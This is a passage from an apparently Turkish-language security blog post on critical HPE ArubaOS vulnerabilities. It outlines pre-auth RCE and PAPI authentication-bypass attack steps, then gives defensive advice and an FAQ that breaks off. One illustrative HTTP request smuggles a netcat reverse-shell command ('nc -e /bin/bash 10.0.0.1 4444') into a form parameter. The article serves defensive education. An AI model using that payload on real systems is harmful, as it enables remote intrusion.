\u00e7al\u0131\u015ft\u0131rabilirler.<\/li>\n<li><strong>Bellek G\u00fcvenlik A\u00e7\u0131klar\u0131 (Memory Corruption):<\/strong> Tampon ta\u015fmalar\u0131 (buffer overflows) veya format string zafiyetleri gibi bellek y\u00f6netimi hatalar\u0131, sald\u0131rganlar\u0131n program\u0131n ak\u0131\u015f\u0131n\u0131 manip\u00fcle etmesine ve kendi kodlar\u0131n\u0131 \u00e7al\u0131\u015ft\u0131rmas\u0131na olanak tan\u0131yabilir.<\/li>\n<\/ul>\n<p>Bir Pre-Auth RCE sald\u0131r\u0131s\u0131 tipik olarak \u015fu ad\u0131mlar\u0131 i\u00e7erir:<\/p>\n<ol>\n<li><strong>Hedef Tespiti:<\/strong> Sald\u0131rgan, internete a\u00e7\u0131k ve yamalanmam\u0131\u015f bir ArubaOS cihaz\u0131n\u0131 (genellikle web aray\u00fcz\u00fc veya belirli bir servis portu \u00fczerinden) tespit eder.<\/li>\n<li><strong>Zafiyetin Tespiti:<\/strong> Cihaz\u0131n yaz\u0131l\u0131m s\u00fcr\u00fcm\u00fc ve yap\u0131land\u0131rmas\u0131 analiz edilerek, bilinen bir RCE zafiyetinin varl\u0131\u011f\u0131 do\u011frulan\u0131r.<\/li>\n<li><strong>Payload Olu\u015fturma:<\/strong> Zafiyetin t\u00fcr\u00fcne ve cihaz\u0131n mimarisine uygun bir k\u00f6t\u00fc niyetli veri y\u00fck\u00fc (payload) haz\u0131rlan\u0131r. Bu payload, hedef sistemde \u00e7al\u0131\u015ft\u0131r\u0131lacak komutlar\u0131 (\u00f6rne\u011fin, ters kabuk (reverse shell) olu\u015fturma, kullan\u0131c\u0131 ekleme, dosya indirme) i\u00e7erir.<\/li>\n<li><strong>S\u00f6m\u00fcr\u00fc (Exploitation):<\/strong> Haz\u0131rlanan payload, zafiyetli HTTP iste\u011fi, PAPI mesaj\u0131 veya ba\u015fka bir protokol arac\u0131l\u0131\u011f\u0131yla hedefe g\u00f6nderilir.<\/li>\n<li><strong>Kod \u00c7al\u0131\u015ft\u0131rma:<\/strong> Cihaz, k\u00f6t\u00fc niyetli payload&#8217;\u0131 i\u015fler ve sald\u0131rgan\u0131n komutlar\u0131n\u0131 i\u015fletim sistemi seviyesinde \u00e7al\u0131\u015ft\u0131r\u0131r.<\/li>\n<\/ol>\n<p>\u00d6rne\u011fin, hayali bir web aray\u00fcz\u00fc zafiyetinde, sald\u0131rgan a\u015fa\u011f\u0131daki gibi bir HTTP iste\u011fi g\u00f6nderebilir:<\/p>\n<div class=\"code-container\">\n<pre><code>POST \/admin\/config_apply HTTP\/1.1\nHost: aruba-controller.example.com\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: [payload_length]\n\naction=apply&amp;config_param=network_name&amp;value=MyWiFi%27%3B+system%28%27nc+-e+\/bin\/bash+10.0.0.1+4444%27%29%3B%23\n      <\/code><\/pre>\n<\/p><\/div>\n<p>Yukar\u0131daki pseudo-kod, <code>network_name<\/code> parametresine enjekte edilen bir komut dizisi ile (<code>; system('nc -e \/bin\/bash 10.0.0.1 4444');#<\/code>) bir ters kabuk olu\u015fturma giri\u015fimini g\u00f6stermektedir. Bu t\u00fcr bir komut, e\u011fer giri\u015f do\u011frulama eksikse, hedef sistemde \u00e7al\u0131\u015fabilir ve sald\u0131rgan\u0131n <code>10.0.0.1<\/code> IP adresindeki <code>4444<\/code> portuna bir kabuk ba\u011flant\u0131s\u0131 kurmas\u0131n\u0131 sa\u011flayabilir.<\/p>\n<p><strong>PAPI Authentication Bypass Zafiyetlerinin Teknik Detaylar\u0131:<\/strong> PAPI protokol\u00fc, AP&#8217;ler ve kontrol\u00f6rler aras\u0131nda g\u00fcvenli ileti\u015fim sa\u011flamak i\u00e7in tasarlanm\u0131\u015ft\u0131r. Ancak, bu t\u00fcr bir kimlik do\u011frulama atlatma zafiyeti genellikle PAPI mesajlar\u0131n\u0131n i\u015flenmesindeki mant\u0131k hatalar\u0131ndan veya zay\u0131f kriptografik uygulamalardan kaynaklan\u0131r:<\/p>\n<ul>\n<li><strong>Mesaj \u0130mzalama\/Do\u011frulama Hatalar\u0131:<\/strong> PAPI mesajlar\u0131n\u0131n b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc ve kayna\u011f\u0131n\u0131 do\u011frulamak i\u00e7in kullan\u0131lan imzalama mekanizmalar\u0131nda bir a\u00e7\u0131k olmas\u0131, sald\u0131rganlar\u0131n ge\u00e7erli gibi g\u00f6r\u00fcnen ancak k\u00f6t\u00fc niyetli PAPI mesajlar\u0131 olu\u015fturmas\u0131na olanak tan\u0131yabilir.<\/li>\n<li><strong>Anahtar Y\u00f6netimi Sorunlar\u0131:<\/strong> PAPI ileti\u015fiminde kullan\u0131lan \u015fifreleme anahtarlar\u0131n\u0131n zay\u0131f y\u00f6netimi veya tahmin edilebilirli\u011fi, sald\u0131rganlar\u0131n bu anahtarlar\u0131 ele ge\u00e7irmesine ve ileti\u015fimi \u015fifreleyip \u00e7\u00f6zmesine imkan verebilir.<\/li>\n<li><strong>Protokol Tasar\u0131m Hatalar\u0131:<\/strong> PAPI protokol\u00fcn\u00fcn belirli bir b\u00f6l\u00fcm\u00fcndeki bir tasar\u0131m hatas\u0131, kimlik do\u011frulama ad\u0131mlar\u0131n\u0131n atlanmas\u0131na izin verebilir. \u00d6rne\u011fin, belirli bir mesaj t\u00fcr\u00fcn\u00fcn kimlik do\u011frulamas\u0131 gerektirmedi\u011fi varsay\u0131l\u0131rken, asl\u0131nda kritik bir eylemi tetikleyebilmesi.<\/li>\n<\/ul>\n<p>PAPI Authentication Bypass sald\u0131r\u0131s\u0131, genellikle \u015fu \u015fekilde i\u015fler:<\/p>\n<ol>\n<li><strong>PAPI Trafi\u011finin Analizi:<\/strong> Sald\u0131rgan, AP ile kontrol\u00f6r aras\u0131ndaki PAPI trafi\u011fini izleyerek protokol yap\u0131s\u0131n\u0131 ve mesaj t\u00fcrlerini anlamaya \u00e7al\u0131\u015f\u0131r.<\/li>\n<li><strong>Zafiyetli Mesaj\u0131n Tespiti:<\/strong> Protokolde, kimlik do\u011frulamas\u0131 olmadan kritik bir eylemi tetikleyebilecek veya kimlik do\u011frulama mekanizmas\u0131n\u0131 atlatabilecek bir mesaj t\u00fcr\u00fc veya parametre tespit edilir.<\/li>\n<li><strong>K\u00f6t\u00fc Niyetli PAPI Mesaj\u0131 Olu\u015fturma:<\/strong> Sald\u0131rgan, bu zafiyeti kullanarak, kontrol\u00f6re yetkisiz komutlar g\u00f6nderecek veya kimlik do\u011frulamas\u0131n\u0131 atlayacak \u00f6zel bir PAPI mesaj\u0131 olu\u015fturur.<\/li>\n<li><strong>Mesaj\u0131n G\u00f6nderilmesi:<\/strong> Haz\u0131rlanan PAPI mesaj\u0131, do\u011frudan UDP port 8211 \u00fczerinden hedef kontrol\u00f6re g\u00f6nderilir.<\/li>\n<li><strong>Yetkisiz Eri\u015fim:<\/strong> Kontrol\u00f6r, k\u00f6t\u00fc niyetli PAPI mesaj\u0131n\u0131 ge\u00e7erli bir AP&#8217;den geliyormu\u015f gibi i\u015fler ve sald\u0131rgan\u0131n istedi\u011fi eylemi ger\u00e7ekle\u015ftirir, bu da yetkisiz eri\u015fim veya a\u011f manip\u00fclasyonu ile sonu\u00e7lan\u0131r.<\/li>\n<\/ol>\n<p>Bu teknik detaylar, HPE ArubaOS cihazlar\u0131n\u0131n neden bu kadar acilen yamalanmas\u0131 gerekti\u011fini ve a\u011f y\u00f6neticilerinin bu t\u00fcr zafiyetlere kar\u015f\u0131 s\u00fcrekli tetikte olmas\u0131 gerekti\u011fini a\u00e7\u0131k\u00e7a ortaya koymaktad\u0131r. G\u00fcvenlik yamalar\u0131, bu t\u00fcr teknik bo\u015fluklar\u0131 kapatarak sald\u0131rganlar\u0131n istismar etmesini engeller.<\/p>\n<h2>A\u011f\u0131n\u0131z\u0131 Bu Tehditlerden Nas\u0131l Korursunuz? Ad\u0131m Ad\u0131m G\u00fcvenlik Rehberi<\/h2>\n<p>HPE ArubaOS&#8217;taki sekiz kritik g\u00fcvenlik a\u00e7\u0131\u011f\u0131, kurumsal a\u011flar i\u00e7in ciddi bir tehdit olu\u015ftururken, bu tehditlere kar\u015f\u0131 korunmak m\u00fcmk\u00fcnd\u00fcr. Proaktif ve \u00e7ok katmanl\u0131 bir g\u00fcvenlik yakla\u015f\u0131m\u0131 benimsemek, a\u011f\u0131n\u0131z\u0131 bu t\u00fcr zafiyetlerden koruman\u0131n anahtar\u0131d\u0131r. \u0130\u015fte ad\u0131m ad\u0131m uygulaman\u0131z gereken g\u00fcvenlik \u00f6nlemleri:<\/p>\n<h3>1. Acil Yama Y\u00f6netimi ve G\u00fcncellemeler<\/h3>\n<p>En acil ve kritik ad\u0131m, HPE Aruba&#8217;n\u0131n yay\u0131nlad\u0131\u011f\u0131 g\u00fcvenlik yamalar\u0131n\u0131 (patch) derhal uygulamakt\u0131r. \u00dcretici, bu zafiyetleri gidermek i\u00e7in \u00f6zel yaz\u0131l\u0131m g\u00fcncellemeleri yay\u0131mlam\u0131\u015ft\u0131r. Bu g\u00fcncellemeler, s\u00f6z konusu a\u00e7\u0131klar\u0131 kapatan kod d\u00fczeltmelerini i\u00e7erir ve sald\u0131rganlar\u0131n bu zafiyetleri istismar etmesini engeller. Yama y\u00f6netimi, sadece bu spesifik a\u00e7\u0131klar i\u00e7in de\u011fil, genel a\u011f g\u00fcvenli\u011fi i\u00e7in de s\u00fcrekli bir s\u00fcre\u00e7 olmal\u0131d\u0131r. D\u00fczenli olarak \u00fcretici duyurular\u0131n\u0131 takip edin ve a\u011f cihazlar\u0131n\u0131zdaki t\u00fcm yaz\u0131l\u0131mlar\u0131 g\u00fcncel tutun. Bir yama \u00e7\u0131kt\u0131\u011f\u0131nda, test ortam\u0131nda do\u011frulad\u0131ktan sonra \u00fcretim ortam\u0131na h\u0131zla uygulay\u0131n. Bu, siber hijyenin temelidir ve \u00e7o\u011fu sald\u0131r\u0131n\u0131n \u00f6nlenmesinde ilk savunma hatt\u0131d\u0131r.<\/p>\n<h3>2. A\u011f Segmentasyonu ve Eri\u015fim K\u0131s\u0131tlamalar\u0131<\/h3>\n<p>A\u011f\u0131n\u0131z\u0131 daha k\u00fc\u00e7\u00fck, izole edilmi\u015f segmentlere ay\u0131rmak (a\u011f segmentasyonu), bir g\u00fcvenlik ihlali durumunda sald\u0131r\u0131n\u0131n yay\u0131lmas\u0131n\u0131 s\u0131n\u0131rlar. Kritik sunucular, veri tabanlar\u0131 ve \u00f6zellikle Aruba kontrol\u00f6rleri gibi y\u00f6netim cihazlar\u0131, di\u011fer a\u011f segmentlerinden fiziksel veya mant\u0131ksal olarak izole edilmelidir. Y\u00f6netim aray\u00fczlerine eri\u015fim, sadece yetkili IP adreslerinden ve belirli VLAN&#8217;lardan (Sanal Yerel Alan A\u011f\u0131) sa\u011flanmal\u0131d\u0131r. Ayr\u0131ca, PAPI gibi kritik protokollerin kullan\u0131ld\u0131\u011f\u0131 portlar (\u00f6rne\u011fin, UDP 8211), sadece AP&#8217;ler ve kontrol\u00f6rler aras\u0131nda izin verilen trafik i\u00e7in a\u00e7\u0131k olmal\u0131, gereksiz her yerden eri\u015fimi engellenmelidir. Bu k\u0131s\u0131tlamalar, d\u0131\u015far\u0131dan veya i\u00e7eriden gelebilecek yetkisiz eri\u015fim denemelerini b\u00fcy\u00fck \u00f6l\u00e7\u00fcde azalt\u0131r.<\/p>\n<h3>3. G\u00fc\u00e7l\u00fc Kimlik Do\u011frulama ve Yetkilendirme Politikalar\u0131<\/h3>\n<p>T\u00fcm a\u011f cihazlar\u0131n\u0131zda varsay\u0131lan \u015fifreleri derhal de\u011fi\u015ftirin ve g\u00fc\u00e7l\u00fc, karma\u015f\u0131k \u015fifre politikalar\u0131 uygulay\u0131n. M\u00fcmk\u00fcnse, iki fakt\u00f6rl\u00fc kimlik do\u011frulama (2FA) veya \u00e7ok fakt\u00f6rl\u00fc kimlik do\u011frulama (MFA) kullanarak y\u00f6netim eri\u015fimini daha da g\u00fc\u00e7lendirin. Bu, bir sald\u0131rgan\u0131n kimlik bilgilerini ele ge\u00e7irse bile sisteme eri\u015fim sa\u011flamas\u0131n\u0131 zorla\u015ft\u0131r\u0131r. Ayr\u0131ca, en az yetki prensibini (principle of least privilege) benimseyin; yani, her kullan\u0131c\u0131ya veya sisteme sadece g\u00f6revini yerine getirmek i\u00e7in ihtiyac\u0131 olan minimum yetkileri verin. Gereksiz yetkilendirmeler, bir ihlal durumunda sald\u0131rgan\u0131n daha fazla zarar vermesine olanak tan\u0131r.<\/p>\n<h3>4. Kapsaml\u0131 \u0130zleme ve Loglama<\/h3>\n<p>A\u011f cihazlar\u0131n\u0131zdaki t\u00fcm g\u00fcvenlik olaylar\u0131n\u0131 ve sistem g\u00fcnl\u00fcklerini (log) merkezi bir g\u00fcvenlik bilgi ve olay y\u00f6netimi (SIEM) sistemine aktar\u0131n. Anormal aktiviteleri, ba\u015far\u0131s\u0131z oturum a\u00e7ma denemelerini, yetkisiz eri\u015fim giri\u015fimlerini ve yap\u0131land\u0131rma de\u011fi\u015fikliklerini s\u00fcrekli olarak izleyin. Otomatik uyar\u0131 sistemleri kurarak, \u015f\u00fcpheli durumlar an\u0131nda g\u00fcvenlik ekibine bildirilsin. \u0130yi bir loglama ve izleme stratejisi, bir sald\u0131r\u0131n\u0131n erken a\u015famalar\u0131nda tespit edilmesine ve h\u0131zl\u0131 m\u00fcdahale edilmesine olanak tan\u0131r. Bu sayede, potansiyel zararlar minimize edilebilir.<\/p>\n<h3>5. G\u00fcvenlik Duvar\u0131 (Firewall) ve Sald\u0131r\u0131 Tespit\/\u00d6nleme Sistemleri (IDS\/IPS)<\/h3>\n<p>A\u011f\u0131n\u0131z\u0131n \u00e7evresinde ve kritik segmentler aras\u0131nda g\u00fc\u00e7l\u00fc g\u00fcvenlik duvarlar\u0131 kullan\u0131n. G\u00fcvenlik duvar\u0131 kurallar\u0131n\u0131 en kat\u0131 \u015fekilde yap\u0131land\u0131r\u0131n; sadece gerekli portlara ve protokollere izin verin. \u00d6zellikle, Aruba kontrol\u00f6rlerinin y\u00f6netim aray\u00fczlerine internetten do\u011frudan eri\u015fimi k\u0131s\u0131tlay\u0131n. Ayr\u0131ca, a\u011f trafi\u011fini s\u00fcrekli olarak k\u00f6t\u00fc niyetli desenler (signatures) ve anormallikler a\u00e7\u0131s\u0131ndan analiz eden Sald\u0131r\u0131 Tespit Sistemleri (IDS) ve Sald\u0131r\u0131 \u00d6nleme Sistemleri (IPS) kullan\u0131n. Bu sistemler, bilinen sald\u0131r\u0131 vekt\u00f6rlerini engelleyebilir ve \u015f\u00fcpheli davran\u0131\u015flar\u0131 tespit edebilir.<\/p>\n<h3>6. D\u00fczenli G\u00fcvenlik Denetimleri ve S\u0131zma Testleri (Penetration Testing)<\/h3>\n<p>A\u011f altyap\u0131n\u0131z\u0131n g\u00fcvenlik duru\u015funu d\u00fczenli olarak de\u011ferlendirmek i\u00e7in i\u00e7 ve d\u0131\u015f g\u00fcvenlik denetimleri ile s\u0131zma testleri yap\u0131n. Bu testler, mevcut zafiyetleri, yap\u0131land\u0131rma hatalar\u0131n\u0131 ve potansiyel sald\u0131r\u0131 vekt\u00f6rlerini hen\u00fcz k\u00f6t\u00fc niyetli akt\u00f6rler taraf\u0131ndan ke\u015ffedilmeden \u00f6nce ortaya \u00e7\u0131kar\u0131r. \u00d6zellikle, yeni yamalar uyguland\u0131ktan sonra veya a\u011f yap\u0131land\u0131rmas\u0131nda b\u00fcy\u00fck de\u011fi\u015fiklikler yap\u0131ld\u0131\u011f\u0131nda bu testlerin yap\u0131lmas\u0131 \u00f6nemlidir. Bir s\u0131zma testi, ger\u00e7ek bir sald\u0131r\u0131y\u0131 sim\u00fcle ederek savunma mekanizmalar\u0131n\u0131z\u0131n ne kadar etkili oldu\u011funu g\u00f6sterir.<\/p>\n<p>Bu ad\u0131mlar\u0131 uygulayarak, HPE ArubaOS&#8217;taki kritik g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131n olu\u015fturdu\u011fu riski \u00f6nemli \u00f6l\u00e7\u00fcde azaltabilir ve kurumsal a\u011f\u0131n\u0131z\u0131n genel g\u00fcvenlik duru\u015funu g\u00fc\u00e7lendirebilirsiniz. Unutmay\u0131n, siber g\u00fcvenlik s\u00fcrekli bir s\u00fcre\u00e7tir ve tehditler geli\u015ftik\u00e7e savunma stratejilerinin de adapte olmas\u0131 gerekir.<\/p>\n<h2>\u0130leri D\u00fczey G\u00fcvenlik Stratejileri ve Gelecek Perspektifi: Kurumsal A\u011f G\u00fcvenli\u011finde \u0130leri Ad\u0131mlar<\/h2>\n<p>Temel g\u00fcvenlik \u00f6nlemlerini alman\u0131n yan\u0131 s\u0131ra, kurumsal a\u011flar\u0131n gelecekteki siber tehditlere kar\u015f\u0131 daha diren\u00e7li olabilmesi i\u00e7in ileri d\u00fczey stratejiler benimsemesi gerekmektedir. HPE ArubaOS gibi kritik altyap\u0131 bile\u015fenlerindeki zafiyetler, sadece anl\u0131k bir tehdit olman\u0131n \u00f6tesinde, g\u00fcvenlik mimarisinin genel felsefesini yeniden g\u00f6zden ge\u00e7irme ihtiyac\u0131n\u0131 ortaya koymaktad\u0131r. \u0130\u015fte kurumsal a\u011f g\u00fcvenli\u011finde ileri ad\u0131mlar ve gelecek perspektifi:<\/p>\n<h3>1. S\u0131f\u0131r G\u00fcven (Zero Trust) Modeli Uygulamas\u0131<\/h3>\n<p>Geleneksel g\u00fcvenlik modelleri, genellikle &#8220;i\u00e7eriyi g\u00fcvenli, d\u0131\u015far\u0131y\u0131 g\u00fcvensiz&#8221; olarak kabul eder. Ancak bu yakla\u015f\u0131m, i\u00e7 a\u011fdan kaynaklanan tehditlere veya ilk eri\u015fimi ba\u015farm\u0131\u015f sald\u0131rganlara kar\u015f\u0131 yetersiz kal\u0131r. S\u0131f\u0131r G\u00fcven (Zero Trust) modeli, &#8220;asla g\u00fcvenme, her zaman do\u011frula&#8221; prensibine dayan\u0131r. Bu modelde, a\u011f i\u00e7indeki her kullan\u0131c\u0131, cihaz ve uygulama, a\u011f\u0131n neresinde olursa olsun s\u00fcrekli olarak kimlik do\u011frulamas\u0131na ve yetkilendirmeye tabi tutulur. Bu, bir sald\u0131rgan\u0131n Pre-Auth RCE ile i\u00e7 a\u011fa s\u0131zsa bile, yanal hareketini (lateral movement) b\u00fcy\u00fck \u00f6l\u00e7\u00fcde k\u0131s\u0131tlar \u00e7\u00fcnk\u00fc a\u011fdaki her kayna\u011fa eri\u015fim i\u00e7in ayr\u0131 ayr\u0131 do\u011frulama yapmas\u0131 gerekir. Aruba&#8217;n\u0131n kendi \u00e7\u00f6z\u00fcmleri de (\u00f6rne\u011fin, Aruba ClearPass Policy Manager) S\u0131f\u0131r G\u00fcven prensiplerini uygulamak i\u00e7in g\u00fc\u00e7l\u00fc yetenekler sunar.<\/p>\n<h3>2. Tehdit \u0130stihbarat\u0131 (Threat Intelligence) Kullan\u0131m\u0131<\/h3>\n<p>Siber g\u00fcvenlik tehditleri s\u00fcrekli olarak evrimle\u015fti\u011fi i\u00e7in, proaktif olmak hayati \u00f6nem ta\u015f\u0131r. Tehdit istihbarat\u0131, potansiyel sald\u0131r\u0131 vekt\u00f6rleri, k\u00f6t\u00fc niyetli akt\u00f6rler ve yeni ke\u015ffedilen zafiyetler hakk\u0131nda g\u00fcncel ve eyleme ge\u00e7irilebilir bilgiler sa\u011flar. Bu istihbarat, g\u00fcvenlik ekiplerinin savunma mekanizmalar\u0131n\u0131 hen\u00fcz bir sald\u0131r\u0131 ger\u00e7ekle\u015fmeden \u00f6nce g\u00fc\u00e7lendirmesine olanak tan\u0131r. HPE Aruba, kendi tehdit istihbarat\u0131 kaynaklar\u0131n\u0131 ve i\u015f ortakl\u0131klar\u0131n\u0131 kullanarak, cihazlar\u0131n\u0131 ve \u00e7\u00f6z\u00fcmlerini s\u00fcrekli g\u00fcncel tutar. Kurumlar da bu istihbarat\u0131 kendi g\u00fcvenlik sistemlerine entegre ederek, bilinen k\u00f6t\u00fc niyetli IP adreslerini, alan adlar\u0131n\u0131 veya sald\u0131r\u0131 imzalar\u0131n\u0131 (signatures) otomatik olarak engelleyebilir.<\/p>\n<h3>3. Otomatik G\u00fcvenlik Tepkisi Sistemleri (SOAR)<\/h3>\n<p>G\u00fcvenlik operasyon merkezleri (SOC), her g\u00fcn binlerce uyar\u0131 ve olayla kar\u015f\u0131 kar\u015f\u0131ya kal\u0131r. Bu yo\u011funluk, insan fakt\u00f6r\u00fcn\u00fcn hata yapmas\u0131na veya \u00f6nemli olaylar\u0131 g\u00f6zden ka\u00e7\u0131rmas\u0131na neden olabilir. G\u00fcvenlik Orkestrasyonu, Otomasyonu ve Yan\u0131t\u0131 (Security Orchestration, Automation and Response &#8211; SOAR) platformlar\u0131, g\u00fcvenlik olaylar\u0131na verilen tepkiyi otomatikle\u015ftirmeye ve standartla\u015ft\u0131rmaya yard\u0131mc\u0131 olur. \u00d6rne\u011fin, bir Aruba kontrol\u00f6r\u00fcnde \u015f\u00fcpheli bir aktivite tespit edildi\u011finde, SOAR sistemi otomatik olarak ilgili IP adresini engelleyebilir, etkilenen cihaz\u0131 a\u011fdan izole edebilir veya g\u00fcvenlik ekibine \u00f6zel bir uyar\u0131 g\u00f6nderebilir. Bu otomasyon, tepki s\u00fcrelerini k\u0131salt\u0131r ve insan m\u00fcdahalesi gerektiren rutin g\u00f6revleri azalt\u0131r.<\/p>\n<h3>4. Yapay Zeka ve Makine \u00d6\u011frenimi Destekli G\u00fcvenlik \u00c7\u00f6z\u00fcmleri<\/h3>\n<p>Geleneksel imza tabanl\u0131 g\u00fcvenlik \u00e7\u00f6z\u00fcmleri, s\u0131f\u0131r g\u00fcn (zero-day) sald\u0131r\u0131lar\u0131na veya bilinmeyen tehditlere kar\u015f\u0131 yetersiz kalabilir. Yapay zeka (AI) ve makine \u00f6\u011frenimi (ML) algoritmalar\u0131, a\u011f trafi\u011findeki anormallikleri, kullan\u0131c\u0131 davran\u0131\u015f\u0131ndaki sapmalar\u0131 ve bilinmeyen k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar\u0131 tespit etme konusunda \u00f6nemli avantajlar sunar. Bu teknolojiler, b\u00fcy\u00fck veri k\u00fcmelerini analiz ederek normal a\u011f davran\u0131\u015f\u0131n\u0131n bir taban \u00e7izgisini olu\u015fturur ve bu taban \u00e7izgisinden sapmalar\u0131 otomatik olarak i\u015faretler. HPE Aruba&#8217;n\u0131n baz\u0131 \u00e7\u00f6z\u00fcmleri de bu t\u00fcr AI\/ML yeteneklerini entegre ederek, a\u011fdaki gizli tehditleri daha etkin bir \u015fekilde ortaya \u00e7\u0131karmay\u0131 hedefler.<\/p>\n<h3>5. G\u00fcvenlik K\u00fclt\u00fcr\u00fc ve E\u011fitim<\/h3>\n<p>Teknolojik \u00e7\u00f6z\u00fcmler ne kadar geli\u015fmi\u015f olursa olsun, insan fakt\u00f6r\u00fc siber g\u00fcvenli\u011fin en zay\u0131f halkas\u0131 olmaya devam edebilir. \u00c7al\u0131\u015fanlar\u0131n d\u00fczenli olarak siber g\u00fcvenlik e\u011fitimleri almas\u0131, kimlik av\u0131 sald\u0131r\u0131lar\u0131n\u0131 tan\u0131ma, g\u00fc\u00e7l\u00fc \u015fifre kullanma ve \u015f\u00fcpheli durumlar\u0131 bildirme konusunda bilin\u00e7li olmalar\u0131 hayati \u00f6nem ta\u015f\u0131r. \u00d6zellikle a\u011f y\u00f6neticileri ve IT personeli, en son g\u00fcvenlik a\u00e7\u0131klar\u0131ndan, yama s\u00fcre\u00e7lerinden ve acil durum prosed\u00fcrlerinden haberdar olmal\u0131d\u0131r. G\u00fc\u00e7l\u00fc bir g\u00fcvenlik k\u00fclt\u00fcr\u00fc, teknolojik savunmalar\u0131 tamamlay\u0131c\u0131 bir unsur olarak g\u00f6rev yapar.<\/p>\n<p>HPE ArubaOS gibi kritik a\u011f altyap\u0131lar\u0131n\u0131 hedef alan zafiyetler, i\u015fletmeleri sadece mevcut tehditlere kar\u015f\u0131 savunmakla kalmay\u0131p, ayn\u0131 zamanda gelece\u011fe d\u00f6n\u00fck, daha dayan\u0131kl\u0131 ve adaptif g\u00fcvenlik stratejileri geli\u015ftirmeye te\u015fvik etmektedir. Bu ileri d\u00fczey yakla\u015f\u0131mlar, s\u00fcrekli de\u011fi\u015fen siber tehdit ortam\u0131nda kurumsal a\u011flar\u0131n g\u00fcvenli\u011fini sa\u011flamak i\u00e7in vazge\u00e7ilmezdir.<\/p>\n<h2>HPE ArubaOS A\u00e7\u0131klar\u0131 Kar\u015f\u0131s\u0131nda Kurumsal Diren\u00e7: \u00d6zet ve Gelece\u011fe Bak\u0131\u015f<\/h2>\n<p>HPE ArubaOS platformunda ke\u015ffedilen Pre-Auth RCE ve PAPI Authentication Bypass gibi sekiz adet kritik g\u00fcvenlik a\u00e7\u0131\u011f\u0131, modern kurumsal a\u011flar\u0131n kar\u015f\u0131 kar\u015f\u0131ya oldu\u011fu ciddi tehditleri bir kez daha g\u00f6zler \u00f6n\u00fcne sermi\u015ftir. Bu zafiyetler, sald\u0131rganlara kimlik do\u011frulamas\u0131 yapmadan uzaktan kod \u00e7al\u0131\u015ft\u0131rma ve a\u011f\u0131n kritik bile\u015fenlerine yetkisiz eri\u015fim sa\u011flama imkan\u0131 sunarak, veri ihlallerinden operasyonel kesintilere kadar geni\u015f bir yelpazede y\u0131k\u0131c\u0131 sonu\u00e7lar do\u011furma potansiyeli ta\u015f\u0131maktad\u0131r. Makalemiz boyunca, bu a\u00e7\u0131klar\u0131n teknik detaylar\u0131n\u0131, ger\u00e7ek d\u00fcnya senaryolar\u0131n\u0131 ve en \u00f6nemlisi, a\u011f\u0131n\u0131z\u0131 bu t\u00fcr tehditlerden korumak i\u00e7in uygulaman\u0131z gereken kapsaml\u0131 g\u00fcvenlik \u00f6nlemlerini inceledik.<\/p>\n<p>Anahtar \u00e7\u0131kar\u0131m, siber g\u00fcvenli\u011fin statik bir durum de\u011fil, s\u00fcrekli bir s\u00fcre\u00e7 oldu\u011fudur. Yama y\u00f6netimi, a\u011f segmentasyonu, g\u00fc\u00e7l\u00fc kimlik do\u011frulama, kapsaml\u0131 izleme ve d\u00fczenli g\u00fcvenlik denetimleri gibi temel ad\u0131mlar, her i\u015fletmenin siber g\u00fcvenlik stratejisinin temelini olu\u015fturmal\u0131d\u0131r. Bununla birlikte, gelecekteki tehditlere kar\u015f\u0131 daha diren\u00e7li olmak i\u00e7in S\u0131f\u0131r G\u00fcven modeli, tehdit istihbarat\u0131 kullan\u0131m\u0131, SOAR sistemleri ve yapay zeka destekli \u00e7\u00f6z\u00fcmler gibi ileri d\u00fczey stratejilerin benimsenmesi de b\u00fcy\u00fck \u00f6nem ta\u015f\u0131maktad\u0131r. Kurumsal a\u011flar\u0131n kalbinde yer alan ArubaOS gibi platformlar\u0131n g\u00fcvenli\u011fi, sadece teknolojik \u00e7\u00f6z\u00fcmlerle de\u011fil, ayn\u0131 zamanda g\u00fc\u00e7l\u00fc bir g\u00fcvenlik k\u00fclt\u00fcr\u00fc ve s\u00fcrekli e\u011fitimle de desteklenmelidir. Unutmayal\u0131m ki, siber g\u00fcvenlikte en g\u00fc\u00e7l\u00fc savunma, proaktif olmak ve tehditler ortaya \u00e7\u0131kmadan \u00f6nce haz\u0131rl\u0131kl\u0131 olmakt\u0131r. Bu sayede, i\u015fletmeler dijital d\u00f6n\u00fc\u015f\u00fcm yolculuklar\u0131na g\u00fcvenle devam edebilirler.<\/p>\n<h3>S\u0131k\u00e7a Sorulan Sorular<\/h3>\n<h4>Bu a\u00e7\u0131klar sadece Aruba cihazlar\u0131n\u0131 m\u0131 etkiler?<\/h4>\n<p>Evet, bu spesifik sekiz g\u00fcvenlik a\u00e7\u0131\u011f\u0131 HPE ArubaOS tabanl\u0131 a\u011f cihazlar\u0131n\u0131 (Mobility Controllers, Gateways ve baz\u0131 Access Point modelleri) etkilemektedir. Ancak benzer mant\u0131ksal veya teknik zafiyetler, di\u011fer \u00fcreticilerin a\u011f cihazlar\u0131nda da farkl\u0131 formlarda bulunabilir. Bu nedenle, t\u00fcm a\u011f altyap\u0131s\u0131 bile\u015fenleriniz i\u00e7in d\u00fczenli g\u00fcvenlik g\u00fcncellemelerini ve denetimlerini takip etmek \u00f6nemlidir.<\/p>\n<h4>Yamalar\u0131 uygulamak yeterli mi?<\/h4>\n<p>Yamalar\u0131 uygulamak, bu spesifik a\u00e7\u0131klar\u0131n kapat\u0131lmas\u0131 i\u00e7in en kritik ad\u0131md\u0131r ve kesinlikle yap\u0131lmal\u0131d\u0131r. Ancak tek ba\u015f\u0131na yeterli de\u011fildir. Yamalar, bilinen zafiyetleri giderirken, a\u011f g\u00fcvenli\u011fi \u00e7ok katmanl\u0131 bir yap\u0131d\u0131r. A\u011f segmentasyonu, g\u00fc\u00e7l\u00fc kimlik do\u011frulama, s\u00fcrekli izleme ve g\u00fcvenlik duvar\u0131 kurallar\u0131 gibi ek \u00f6nlemler, genel g\u00fcvenlik duru\u015funuzu g\u00fc\u00e7lendirerek di\u011fer potansiyel tehditlere kar\u015f\u0131 da koruma sa\u011flar.<\/p>\n<h4>K\u00fc\u00e7\u00fck i\u015fletmeler de bu risk alt\u0131nda m\u0131?<\/h4>\n<p>Kesinlikle evet. Siber sald\u0131rganlar, hedef se\u00e7erken genellikle b\u00fcy\u00fckl\u00fckten ziyade zafiyetleri ve potansiyel kazanc\u0131 dikkate al\u0131r. K\u00fc\u00e7\u00fck ve orta \u00f6l\u00e7ekli i\u015fletmeler 